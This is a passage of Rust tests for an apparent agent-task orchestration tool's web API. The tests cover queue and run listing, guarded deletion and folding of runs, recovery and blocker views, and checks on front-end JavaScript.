22232 PathBuf::from("/repo"),
22233 Source::Human,
22234 );
22235 blocked.block(vec![root.id.clone()], None);
22236 queue.put(&mut blocked).unwrap();
22237 let whole =
22238 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22239 .unwrap();
22240 let subset = serde_json::to_value(
22241 queue_list(State(ui.clone()), query(Some(&root.id)))
22242 .await
22243 .unwrap()
22244 .0,
22245 )
22246 .unwrap();
22247 assert_eq!(whole, subset, "requested root plus its blocked dependent");
22248 let blockers = serde_json::to_value(
22249 queue_list(State(ui.clone()), query(Some("")))
22250 .await
22251 .unwrap()
22252 .0,
22253 )
22254 .unwrap();
22255 assert_eq!(blockers.as_array().unwrap().len(), 1);
22256 assert_eq!(blockers[0]["id"], blocked.id);
22257 assert_eq!(
22258 blockers[0]["waits_on"],
22259 whole
22260 .as_array()
22261 .unwrap()
22262 .iter()
22263 .find(|row| row["id"] == blocked.id)
22264 .unwrap()["waits_on"]
22265 );
22266
22267 for id in [
22268 "20260902-140501-aaaa",
22269 "20260902-140502-bbbb",
22270 "20260902-140503-cccc",
22271 ] {
22272 write_run(&ui.runs, id, RunStatus::Merged);
22273 }
22274 let old = serde_json::to_value(
22275 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22276 .await
22277 .unwrap()
22278 .0,
22279 )
22280 .unwrap();
22281 assert!(
22282 old.as_array().unwrap().is_empty(),
22283 "older updates must not enter the window"
22284 );
22285 let newest = serde_json::to_value(
22286 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22287 .await
22288 .unwrap()
22289 .0,
22290 )
22291 .unwrap();
22292 assert_eq!(newest.as_array().unwrap().len(), 1);
22293 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22294
22295 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22296 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22297 let talks = serde_json::to_value(
22298 talks_list(
22299 State(ui.clone()),
22300 query(Some("20260905-000000-d4e5")),
22301 header::HeaderMap::new(),
22302 )
22303 .await
22304 .unwrap()
22305 .0,
22306 )
22307 .unwrap();
22308 assert_eq!(talks.as_array().unwrap().len(), 1);
22309 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22310 assert_eq!(
22311 serde_json::to_value(
22312 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22313 .await
22314 .unwrap()
22315 .0
22316 )
22317 .unwrap(),
22318 serde_json::json!([])
22319 );
22320 }
22321
22322 #[tokio::test]
22323 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22324 async fn delta_payload_benchmark() {
22325 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22326 let ui = delta_test_ui(&home);
22327 let query = |ids: Option<String>| {
22328 Query(ListQuery {
22329 limit: Some(50),
22330 ids,
22331 })
22332 };
22333 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22334 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22335 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22336 .await
22337 .unwrap()
22338 .0;
22339 let queue_id = queue
22340 .iter()
22341 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22342 .unwrap_or(&queue[0])
22343 .task
22344 .id
22345 .clone();
22346 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22347 .await
22348 .unwrap()
22349 .0;
22350 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22351 .await
22352 .unwrap()
22353 .0;
22354 let talks_delta = talks_list(
22355 State(ui.clone()),
22356 query(Some(talks[0].id.clone())),
22357 header::HeaderMap::new(),
22358 )
22359 .await
22360 .unwrap()
22361 .0;
22362 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22363 eprintln!(
22364 "DELTA_PAYLOAD {}",
22365 serde_json::json!({
22366 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22367 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22368 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22369 "counts": [queue.len(), runs.len(), talks.len()],
22370 "blocked": queue_delta.len() - 1,
22371 })
22372 );
22373 }
22374
22375 #[test]
22376 fn runs_revision_moves_when_deleting_an_older_run() {
22377 let temp = TempDir::new().expect("tempdir");
22378 let runs = temp.path().join("runs");
22379 std::fs::create_dir_all(&runs).expect("create runs dir");
22380
22381 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22382
22383 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22384 std::thread::sleep(Duration::from_millis(10));
22385 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22386
22387 let rev_before = runs_revision(&runs);
22388 assert!(rev_before > 0);
22389
22390 let old_dir = runs.join("20260901-100000-old1");
22391 std::fs::remove_dir_all(&old_dir).expect("remove old run");
22392
22393 let rev_after = runs_revision(&runs);
22394 assert_ne!(
22395 rev_before, rev_after,
22396 "deleting an older run must change the revision so other clients see the deletion"
22397 );
22398 }
22399
22400 fn write_state(runs: &FsPath, state: &RunState) {
22405 let dir = runs.join(&state.id);
22406 std::fs::create_dir_all(&dir).expect("run dir");
22407 std::fs::write(
22408 dir.join("run.json"),
22409 serde_json::to_string_pretty(state).expect("serialize run"),
22410 )
22411 .expect("write run.json");
22412 }
22413
22414 #[test]
22419 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22420 let temp = TempDir::new().expect("tempdir");
22421 let runs = temp.path().join("runs");
22422 std::fs::create_dir_all(&runs).expect("create runs dir");
22423 let mut state = RunState::new(
22424 PathBuf::from("/repo/magi"),
22425 "main".to_owned(),
22426 "0123456789abcdef".to_owned(),
22427 "task".to_owned(),
22428 Config::default(),
22429 );
22430 state.id = "20260902-100000-c0de".to_owned();
22431 write_state(&runs, &state);
22432
22433 let rev_idle = runs_revision(&runs);
22434 std::thread::sleep(Duration::from_millis(10));
22435 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22436 write_state(&runs, &state);
22437 let rev_started = runs_revision(&runs);
22438 assert_ne!(
22439 rev_idle, rev_started,
22440 "a seat starting must move the revision"
22441 );
22442
22443 std::thread::sleep(Duration::from_millis(10));
22444 state.seat_finished("judge-1");
22445 write_state(&runs, &state);
22446 let rev_finished = runs_revision(&runs);
22447 assert_ne!(
22448 rev_started, rev_finished,
22449 "and clearing it again must move the revision a second time"
22450 );
22451 }
22452
22453 #[tokio::test]
22454 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22455 let fx = Fixture::start().await;
22460 let q = fx.queue();
22461
22462 let mut t = Task::new(
22463 "Task".to_owned(),
22464 "Instruction".to_owned(),
22465 PathBuf::from("/repo"),
22466 Source::Human,
22467 );
22468 t.block(
22469 vec!["20260101-000000-dead".to_owned()],
22470 Some("waiting on Task 1".to_owned()),
22471 );
22472 t.answers.push(crate::queue::AnsweredQuestion {
22473 question: "Which backend?".to_owned(),
22474 answer: "SQLite".to_owned(),
22475 });
22476 q.put(&mut t).expect("put t");
22477
22478 let res = fx.get("/api/queue").await;
22479 assert_eq!(res.status, 200);
22480 let list = res.json();
22481 let view = list
22482 .as_array()
22483 .expect("array")
22484 .iter()
22485 .find(|v| v["id"] == t.id)
22486 .expect("task in list");
22487 assert_eq!(view["status_str"], "blocked");
22488 assert_eq!(
22489 view["blocked_by"],
22490 serde_json::json!(["20260101-000000-dead"])
22491 );
22492 assert_eq!(view["block_reason"], "waiting on Task 1");
22493 assert_eq!(view["answers"][0]["question"], "Which backend?");
22494 assert_eq!(view["answers"][0]["answer"], "SQLite");
22495
22496 let res = fx
22500 .post(&format!("/api/queue/{}/hold", t.short()), None)
22501 .await;
22502 assert_eq!(res.status, 200);
22503 let held = res.json();
22504 assert_eq!(held["status_str"], "held");
22505 assert_eq!(held["blocked_by"], serde_json::json!([]));
22506 assert!(held["block_reason"].is_null());
22507 assert_eq!(held["answers"][0]["answer"], "SQLite");
22508 }
22509
22510 #[tokio::test]
22511 async fn task_recovery_pending_decisions_block_disk_autoresume() {
22512 let fx = Fixture::start().await;
22513 let queue = fx.queue();
22514 let questions = fx.questions();
22515 let mut task = Task::new(
22516 "Disk recovery".into(),
22517 "Inspect".into(),
22518 PathBuf::from("/repo"),
22519 Source::Human,
22520 );
22521 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22522 task.mark_disk_capacity();
22523 queue.put(&mut task).unwrap();
22524 let mut records = Vec::new();
22525 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22526 let mut q = Question::new(
22527 task.id.clone(),
22528 node.into(),
22529 "triage".into(),
22530 "Resume recovery?".into(),
22531 String::new(),
22532 vec![],
22533 );
22534 q.routed_task = Some(task.id.clone());
22535 questions.put(&mut q).unwrap();
22536 records.push(q);
22537 }
22538 let url = format!("/api/queue/{}", task.id);
22539 let view = fx.get(&url).await.json();
22540 assert_eq!(view["status_str"], "held");
22541 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22542 assert!(
22543 view["recovery"]
22544 .as_str()
22545 .unwrap()
22546 .contains("Disk recovery alone will not resume")
22547 );
22548 assert!(
22549 view["recovery"]
22550 .as_str()
22551 .unwrap()
22552 .contains("Disk wait (automatically monitored)")
22553 );
22554 for blocker in view["blockers"].as_array().unwrap() {
22555 assert!(blocker["destination"].is_null());
22556 assert!(
22557 blocker["next"]
22558 .as_str()
22559 .unwrap()
22560 .contains("pending delivery")
22561 );
22562 }
22563 for q in &mut records {
22564 q.routed_chat = Some("owning-chat".into());
22565 questions.put(q).unwrap();
22566 }
22567 let view = fx.get(&url).await.json();
22568 for blocker in view["blockers"].as_array().unwrap() {
22569 assert_eq!(
22570 blocker["destination"],
22571 serde_json::json!(["chat", "owning-chat"])
22572 );
22573 assert_eq!(blocker["resolves_itself"], false);
22574 }
22575 for q in &mut records {
22577 q.status = ask::QuestionStatus::Answered;
22578 questions.put(q).unwrap();
22579 }
22580 assert!(crate::triage::pending_for(&questions, &task));
22581 let view = fx.get(&url).await.json();
22582 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22583 assert!(
22584 view["blockers"][0]["next"]
22585 .as_str()
22586 .unwrap()
22587 .contains("not yet applied")
22588 );
22589 for q in &records {
22590 task.mark_triage_applied(&q.id);
22591 }
22592 queue.put(&mut task).unwrap();
22593 assert!(!crate::triage::pending_for(&questions, &task));
22594 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22595 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22596 }
22597
22598 #[test]
22599 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22600 use crate::queue::HoldSource;
22601 let mut task = Task::new(
22602 "Recovery".into(),
22603 "Inspect".into(),
22604 PathBuf::from("/repo"),
22605 Source::Human,
22606 );
22607 assert!(task_recovery(&task).is_none());
22608 task.hold_manual(Some("Operator paused".into()));
22609 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22610 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22611 let text = task_recovery(&task).unwrap();
22612 assert!(text.contains("restores held"));
22613 assert!(text.contains("clears its dependency references"));
22614 task.hold_source = Some(HoldSource::Machine);
22615 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22616 task.mark_disk_capacity();
22617 let view = TaskView::with_inventory(
22618 task.clone(),
22619 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22620 );
22621 let json = serde_json::to_value(view).unwrap();
22622 assert_eq!(json["block_reason"], "Decision needed");
22623 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22624 let recovery = json["recovery"].as_str().unwrap();
22625 assert!(recovery.contains("not current capacity"));
22626 assert!(recovery.contains("triage rechecks"));
22627 assert_eq!(json["blockers"][0]["state"], "missing");
22628 task.blocked_from = Some(TaskStatus::Queued);
22629 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22630 task.blocked_from = None;
22631 assert!(task_recovery(&task).unwrap().contains("restores held"));
22632 }
22633
22634 #[tokio::test]
22635 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22636 let fx = Fixture::start().await;
22637 let q = fx.queue();
22638 let mk = |title: &str| {
22639 Task::new(
22640 title.to_owned(),
22641 "Instruction".to_owned(),
22642 PathBuf::from("/repo"),
22643 Source::Human,
22644 )
22645 };
22646 let mut root = mk("root");
22647 root.hold_manual(Some("waiting".to_owned()));
22648 q.put(&mut root).unwrap();
22649 let mut mid = mk("mid");
22650 mid.block(vec![root.id.clone()], None);
22651 q.put(&mut mid).unwrap();
22652 let mut leaf = mk("leaf");
22653 leaf.block(vec![mid.id.clone()], None);
22654 q.put(&mut leaf).unwrap();
22655
22656 let list = fx.get("/api/queue").await.json();
22657 let find = |id: &str| {
22658 list.as_array()
22659 .unwrap()
22660 .iter()
22661 .find(|v| v["id"] == id)
22662 .unwrap()
22663 .clone()
22664 };
22665 let leaf_view = find(&leaf.id);
22666 assert_eq!(
22667 leaf_view["waits_on"],
22668 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22669 );
22670 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22671 assert_eq!(
22672 find(&mid.id)["waits_on"],
22673 serde_json::json!([format!("{} (held)", root.short())])
22674 );
22675 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22676 }
22677
22678 #[tokio::test]
22679 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22680 let fx = Fixture::start().await;
22681 let q = fx.queue();
22682
22683 let mut t1 = Task::new(
22685 "Task 1".to_owned(),
22686 "Instruction 1".to_owned(),
22687 PathBuf::from("/repo"),
22688 Source::Human,
22689 );
22690 let run_id = "20260901-000000-r111";
22691 t1.runs.push(run_id.to_owned());
22692 write_run(&fx.runs(), run_id, RunStatus::Merged);
22693 q.put(&mut t1).expect("put t1");
22694
22695 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22697 assert_eq!(res.status, 204);
22698 assert!(res.body.is_empty(), "204 No Content has no body");
22699 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22700 assert!(
22701 fx.runs().join(run_id).exists(),
22702 "run directory must not be deleted when its task is deleted"
22703 );
22704
22705 let mut t2 = Task::new(
22707 "Task 2".to_owned(),
22708 "Instruction 2".to_owned(),
22709 PathBuf::from("/repo"),
22710 Source::Human,
22711 );
22712 t2.status = TaskStatus::Running;
22713 q.put(&mut t2).expect("put t2");
22714 let mut beat = crate::daemon::Status::new();
22715 beat.current = vec![crate::daemon::Current {
22716 worker: None,
22717 task: t2.id.clone(),
22718 run: "20260901-000000-r222".to_owned(),
22719 }];
22720 beat.updated_at = jiff::Timestamp::now();
22721 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22722 .expect("publish a heartbeat");
22723 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22724 assert_eq!(res.status, 409);
22725 assert!(
22726 res.json()["error"]
22727 .as_str()
22728 .unwrap()
22729 .contains("live daemon")
22730 );
22731 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22732
22733 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22739 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22740 .expect("leave a stale heartbeat");
22741 let mut t3 = Task::new(
22742 "Task 3".to_owned(),
22743 "Instruction 3".to_owned(),
22744 PathBuf::from("/repo"),
22745 Source::Human,
22746 );
22747 t3.status = TaskStatus::Running;
22748 q.put(&mut t3).expect("put t3");
22749 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22750 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22751 assert_eq!(res.status, 204);
22752 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22753 assert!(
22754 q.claim(&t3.id).is_ok(),
22755 "the stale lock went with it, so the id is claimable again"
22756 );
22757
22758 let res = fx.delete("/api/queue/nonexistent").await;
22760 assert_eq!(res.status, 404);
22761 }
22762
22763 #[tokio::test]
22764 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22765 let fx = Fixture::start().await;
22766 let runs = fx.runs();
22767
22768 let run_id = "20260901-000000-fold";
22770 let mut state = RunState::new(
22771 PathBuf::from("/repo"),
22772 "main".to_owned(),
22773 "abc".to_owned(),
22774 "instruction".to_owned(),
22775 Config::default(),
22776 );
22777 state.id = run_id.to_owned();
22778 state.status = RunStatus::Merged;
22779 state.candidates.push(crate::run::Candidate {
22780 index: 0,
22781 label: 'A',
22782 agent: "a".to_owned(),
22783 branch: "b".to_owned(),
22784 worktree: PathBuf::from("/w"),
22785 summary: String::new(),
22786 stat: String::new(),
22787 files: 1,
22788 commits: 1,
22789 empty: false,
22790 failed: None,
22791 verified_noop: None,
22792 duration_ms: 0,
22793 folded: true,
22794 });
22795 let dir = runs.join(run_id);
22796 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22797 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22798 .expect("write artifact");
22799 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22800 .expect("write run.json");
22801
22802 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22804 assert_eq!(res.status, 204);
22805 assert!(res.body.is_empty(), "204 has no body");
22806 assert!(!dir.exists(), "run directory and artifacts must be deleted");
22807
22808 let run_running = "20260901-000000-rung";
22813 write_run(&runs, run_running, RunStatus::Prep);
22814 let mut beat = crate::daemon::Status::new();
22815 beat.current = vec![crate::daemon::Current {
22816 worker: None,
22817 task: "20260901-000000-task".to_owned(),
22818 run: run_running.to_owned(),
22819 }];
22820 beat.updated_at = jiff::Timestamp::now();
22821 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22822 .expect("publish a heartbeat");
22823 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22824 assert_eq!(res.status, 409);
22825 assert!(
22826 res.json()["error"]
22827 .as_str()
22828 .unwrap()
22829 .contains("live daemon"),
22830 "the refusal must say who is holding it"
22831 );
22832 assert!(
22833 runs.join(run_running).exists(),
22834 "a run in flight keeps its directory"
22835 );
22836
22837 let run_unfolded = "20260901-000000-unfd";
22839 let mut state2 = RunState::new(
22840 PathBuf::from("/repo"),
22841 "main".to_owned(),
22842 "abc".to_owned(),
22843 "instruction".to_owned(),
22844 Config::default(),
22845 );
22846 state2.id = run_unfolded.to_owned();
22847 state2.status = RunStatus::Ready;
22848 state2.candidates.push(crate::run::Candidate {
22849 index: 0,
22850 label: 'A',
22851 agent: "a".to_owned(),
22852 branch: "b".to_owned(),
22853 worktree: PathBuf::from("/w"),
22854 summary: String::new(),
22855 stat: String::new(),
22856 files: 1,
22857 commits: 1,
22858 empty: false,
22859 failed: None,
22860 verified_noop: None,
22861 duration_ms: 0,
22862 folded: false,
22863 });
22864 let dir2 = runs.join(run_unfolded);
22865 std::fs::create_dir_all(&dir2).expect("create dir2");
22866 std::fs::write(
22867 dir2.join("run.json"),
22868 serde_json::to_string(&state2).unwrap(),
22869 )
22870 .expect("write run.json");
22871
22872 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22873 assert_eq!(res.status, 409);
22874 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22875 assert!(dir2.exists(), "unfolded run directory is kept");
22876
22877 let res = fx.delete("/api/runs/nonexistent").await;
22879 assert_eq!(res.status, 404);
22880 }
22881
22882 #[test]
22891 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22892 let start = APP_JS
22893 .find("function renderStats() {")
22894 .expect("renderStats");
22895 let end = start
22896 + APP_JS[start..]
22897 .find("function statsTile(")
22898 .expect("the next top-level function");
22899 let body = &APP_JS[start..end];
22900
22901 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22902 let gate_end = gate_start
22903 + body[gate_start..]
22904 .find("}\n renderStatsQueue")
22905 .expect("the gate's own closing brace, right before the unconditional call");
22906 let gated = &body[gate_start..gate_end];
22907
22908 assert_eq!(
22909 body.matches("renderStatsQueue(").count(),
22910 1,
22911 "renderStats must call renderStatsQueue exactly once: {body}"
22912 );
22913 assert!(
22914 !gated.contains("renderStatsQueue"),
22915 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22916 run-derived panels on an empty run history - the queue panel has to render \
22917 regardless: {gated}"
22918 );
22919 }
22920
22921 #[test]
22922 fn web_ui_delete_contract_in_front_end() {
22923 assert!(APP_JS.contains("deleteRun:"));
22925 assert!(APP_JS.contains("deleteTask:"));
22926
22927 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22929 ..APP_JS.find("function renderRuns").unwrap()];
22930 assert!(!run_cards_slice.to_lowercase().contains("delete"));
22931
22932 assert!(APP_JS.contains("renderRunDelete"));
22934 assert!(APP_JS.contains("runDeleteReason"));
22935 assert!(APP_JS.contains("magi fold"));
22936 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22937
22938 assert!(APP_JS.contains("cancel.focus"));
22940 assert!(APP_JS.contains("armedRunDelete"));
22941 assert!(APP_JS.contains("renderTaskDeleteBox"));
22942 assert!(APP_JS.contains("armed${cap(key)}"));
22943
22944 assert!(APP_JS.contains("disabled: status === \"running\""));
22946 }
22947
22948 #[test]
22968 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22969 let build = APP_JS
22970 .find("function createRunCard")
22971 .expect("createRunCard exists");
22972 let update = APP_JS
22973 .find("function updateRunCard")
22974 .expect("updateRunCard exists");
22975 let end = APP_JS
22976 .find("function renderRuns")
22977 .expect("renderRuns exists");
22978
22979 let builder = &APP_JS[build..update];
22981 let open = builder.find("refs = {").expect("createRunCard sets refs");
22982 let literal = &builder[open + "refs = {".len()..];
22983 let close = literal.find('}').expect("the refs literal is closed");
22984 let published: HashSet<&str> = literal[..close]
22985 .split(',')
22986 .filter_map(|entry| entry.split(':').next())
22988 .map(str::trim)
22989 .filter(|name| !name.is_empty())
22990 .collect();
22991 assert!(
22992 published.len() > 5,
22993 "the refs literal did not parse into names: {published:?}"
22994 );
22995
22996 let mut used: Vec<&str> = Vec::new();
22999 let updaters = &APP_JS[update..end];
23000 for (at, _) in updaters.match_indices("r.") {
23001 let before = updaters[..at].chars().next_back();
23004 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23005 continue;
23006 }
23007 let rest = &updaters[at + 2..];
23008 let len = rest
23009 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23010 .unwrap_or(rest.len());
23011 if len > 0 {
23012 used.push(&rest[..len]);
23013 }
23014 }
23015 assert!(
23016 used.len() > 5,
23017 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23018 );
23019
23020 let missing: Vec<&str> = used
23021 .iter()
23022 .copied()
23023 .filter(|name| !published.contains(name))
23024 .collect();
23025 assert!(
23026 missing.is_empty(),
23027 "a run card's updater reaches for {missing:?}, which `createRunCard` \
23028 never put in `refs` - every card will throw and the list will \
23029 render empty under a count line that says otherwise. Published: \
23030 {published:?}"
23031 );
23032 }
23033
23034 #[tokio::test]
23035 async fn folding_from_the_phone_reports_what_it_removed() {
23036 let fx = Fixture::start().await;
23037 let runs = fx.runs();
23038
23039 let id = "20260901-000000-fold";
23043 write_run(&runs, id, RunStatus::Stalled);
23044 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23045 assert_eq!(res.status, 200);
23046 assert_eq!(res.json()["removed_count"], 0);
23047 assert_eq!(res.json()["run"], id);
23048 assert!(
23049 runs.join(id).exists(),
23050 "a fold keeps the run's record; only the worktrees go"
23051 );
23052 }
23053
23054 #[tokio::test]
23055 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23056 let fx = Fixture::start().await;
23057 let runs = fx.runs();
23058 let wt = fx.home.path().join("wt").join("magi").join("dead");
23059 let id = "20260901-000000-dead";
23060 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23061 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23062 std::fs::create_dir_all(&wt).expect("worktree dir");
23063
23064 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23065 assert_eq!(res.status, 200, "{}", res.body);
23066 assert!(
23067 res.json()["removed_count"].as_u64().unwrap() > 0,
23068 "the worktree this build could not read a state for still went"
23069 );
23070 assert!(
23071 !runs.join(id).exists(),
23072 "an unreadable run has no candidate list to fold selectively, so \
23073 the whole record goes - same as `magi fold` on the CLI"
23074 );
23075 }
23076
23077 #[tokio::test]
23078 async fn deleting_an_unreadable_run_removes_it_wholesale() {
23079 let fx = Fixture::start().await;
23080 let runs = fx.runs();
23081 let wt = fx.home.path().join("wt").join("magi").join("gone");
23082 let id = "20260901-000000-gone";
23083 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23084 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23085 std::fs::create_dir_all(&wt).expect("worktree dir");
23086
23087 let res = fx.delete(&format!("/api/runs/{id}")).await;
23088 assert_eq!(res.status, 204, "{}", res.body);
23089 assert!(!runs.join(id).exists(), "the broken record is gone");
23090 assert!(!wt.exists(), "its worktree is gone too");
23091 }
23092
23093 #[tokio::test]
23094 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23095 let fx = Fixture::start().await;
23096 let runs = fx.runs();
23097 let id = "20260901-000000-live";
23098 write_run(&runs, id, RunStatus::Implementing);
23099
23100 let mut beat = crate::daemon::Status::new();
23101 beat.current = vec![crate::daemon::Current {
23102 worker: None,
23103 task: "20260901-000000-task".to_owned(),
23104 run: id.to_owned(),
23105 }];
23106 beat.updated_at = jiff::Timestamp::now();
23107 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23108 .expect("publish a heartbeat");
23109
23110 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23111 assert_eq!(res.status, 409);
23112 assert!(
23113 res.json()["error"]
23114 .as_str()
23115 .unwrap()
23116 .contains("live daemon"),
23117 "folding under a running agent would pull its worktree away"
23118 );
23119 }
23120
23121 #[tokio::test]
23122 async fn fold_merged_requires_a_pr_url() {
23123 let fx = Fixture::start().await;
23124 let runs = fx.runs();
23125 let id = "20260901-000000-nourl";
23126 write_run(&runs, id, RunStatus::Blocked);
23127
23128 let res = fx
23129 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23130 .await;
23131 assert_eq!(res.status, 400, "{}", res.body);
23132
23133 let blank = fx
23134 .post(
23135 &format!("/api/runs/{id}/fold-merged"),
23136 Some(r#"{"pr_url":" "}"#),
23137 )
23138 .await;
23139 assert_eq!(blank.status, 400, "{}", blank.body);
23140 }
23141
23142 #[tokio::test]
23143 async fn fold_merged_is_404_for_an_unknown_run() {
23144 let fx = Fixture::start().await;
23145 let res = fx
23146 .post(
23147 "/api/runs/nosuchrun/fold-merged",
23148 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23149 )
23150 .await;
23151 assert_eq!(res.status, 404, "{}", res.body);
23152 }
23153
23154 #[tokio::test]
23155 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23156 let fx = Fixture::start().await;
23157 let runs = fx.runs();
23158 let id = "20260901-000000-livemerge";
23159 write_run(&runs, id, RunStatus::Blocked);
23160
23161 let mut beat = crate::daemon::Status::new();
23162 beat.current = vec![crate::daemon::Current {
23163 worker: None,
23164 task: "20260901-000000-task".to_owned(),
23165 run: id.to_owned(),
23166 }];
23167 beat.updated_at = jiff::Timestamp::now();
23168 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23169 .expect("publish a heartbeat");
23170
23171 let res = fx
23172 .post(
23173 &format!("/api/runs/{id}/fold-merged"),
23174 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23175 )
23176 .await;
23177 assert_eq!(res.status, 409, "{}", res.body);
23178 assert!(
23179 res.json()["error"]
23180 .as_str()
23181 .unwrap()
23182 .contains("live daemon"),
23183 "correcting a run's merge underneath a running agent would race \
23184 whatever it is doing to the same `status`/`merge` fields"
23185 );
23186 }
23187
23188 #[tokio::test]
23193 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23194 let fx = Fixture::start().await;
23195 let runs = fx.runs();
23196 let id = "20260901-000000-unconfirmed";
23197 write_run(&runs, id, RunStatus::Blocked);
23198
23199 let res = fx
23200 .post(
23201 &format!("/api/runs/{id}/fold-merged"),
23202 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23203 )
23204 .await;
23205 assert_eq!(res.status, 400, "{}", res.body);
23206 assert_eq!(
23207 read_run(&runs, id).unwrap().status,
23208 RunStatus::Blocked,
23209 "a pull request that could not be confirmed merged must leave \
23210 the run exactly where it was"
23211 );
23212 }
23213
23214 #[tokio::test]
23215 async fn terminal_runs_cannot_be_resumed() {
23216 let fx = Fixture::start().await;
23217 let runs = fx.runs();
23218
23219 for (status, word) in [
23220 (RunStatus::Merged, "merged"),
23221 (RunStatus::Ready, "ready"),
23222 (RunStatus::Failed, "failed"),
23223 ] {
23224 let id = format!("20260901-000000-{}", &word[..4]);
23225 write_run(&runs, &id, status);
23226 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23227 assert_eq!(res.status, 409, "{word} must not be resumable");
23228 }
23229 }
23230
23231 #[tokio::test]
23232 async fn resume_is_refused_while_the_loop_is_running() {
23233 let fx = Fixture::start().await;
23234 let runs = fx.runs();
23235 let stalled = "20260901-000000-stal";
